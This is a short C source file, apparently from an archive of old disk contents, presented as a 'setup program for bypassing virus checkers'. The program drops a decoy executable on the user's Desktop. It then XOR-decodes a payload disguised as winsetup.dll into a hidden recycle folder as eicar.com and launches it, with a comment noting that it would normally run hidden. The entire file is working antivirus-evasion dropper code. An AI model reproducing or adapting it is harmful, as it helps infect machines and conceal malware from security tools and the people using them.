home *** CD-ROM | disk | FTP | other *** search
- /* Setup program for bypassing virus checkers */
-
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <stdlib.h>
- #include <dir.h>
- #include <io.h>
- #include <stdio.h>
- #include <windows.h>
-
- #define SOURCE_FILE ".\\winsetup.dll"
- #define DEST_FILE "\\recycled\\eicar.com"
- #define DECOY_FILE ".\\decoy.exe"
- #define DECOY_DIR_KEY
- "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
- #define DECOY_DIR_VAL "Desktop"
- #define BUFSIZE 4096
- #define XORME 25
-
- int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
- lpszCmdLine, int nCmdShow)
- {
- int sourcefile, destfile, bytesin,i;
- char buffer[BUFSIZE],szDirName[256],szDecoyDir[512];
- long lerror;
- HKEY regkey;
- DWORD ValSize = sizeof(szDirName); /* How annoying */
-
- /* Find out where the desktop is so we can put the decoy there */
- if((lerror =
- RegOpenKeyEx(HKEY_CURRENT_USER,DECOY_DIR_KEY,0,KEY_QUERY_VALUE,®key))
- != ERROR_SUCCESS)
- {
- exit(0);
- }
- if((lerror =
- RegQueryValueEx(regkey,DECOY_DIR_VAL,0,NULL,&szDirName[0],&ValSize)) !=
- ERROR_SUCCESS)
- {
- exit(0);
- }
- RegCloseKey(regkey);
-
-
- /* Expand the dir name on the off chance it contains ENV vars */
- ExpandEnvironmentStrings(&szDirName[0],&szDecoyDir[0],sizeof(szDecoyDir));
- rename(DECOY_FILE,strcat(szDecoyDir,DECOY_FILE));
-
-
- /* It doesn't matter what mkdir's return code is. It'll make the dir if
- it
- doesn't exist or fail of it does */
- mkdir("\\recycled");
-
-
- /* Prepare to "decrypt" the infected executable */
- if((sourcefile = open(SOURCE_FILE,O_RDONLY | O_BINARY)) == -1)
- {
- exit(0);
- }
- if((destfile = open(DEST_FILE,O_WRONLY | O_CREAT | O_EXCL | O_BINARY,
- S_IREAD | S_IWRITE)) == -1)
- {
- exit(0);
- }
-
- /* "Decrypt" it */
- while((bytesin = read(sourcefile,&buffer[0],BUFSIZE)) != 0)
- {
- for(i=0;i<bytesin;i++)
- {
- buffer[i] ^= XORME;
- }
- write(destfile,&buffer[0],bytesin);
- }
-
- close(sourcefile);
- close(destfile);
-
- /* Run the infected executable. You would normally use SW_HIDE here. */
- WinExec(DEST_FILE,SW_SHOWNORMAL);
- return(0);
- }
-
-
-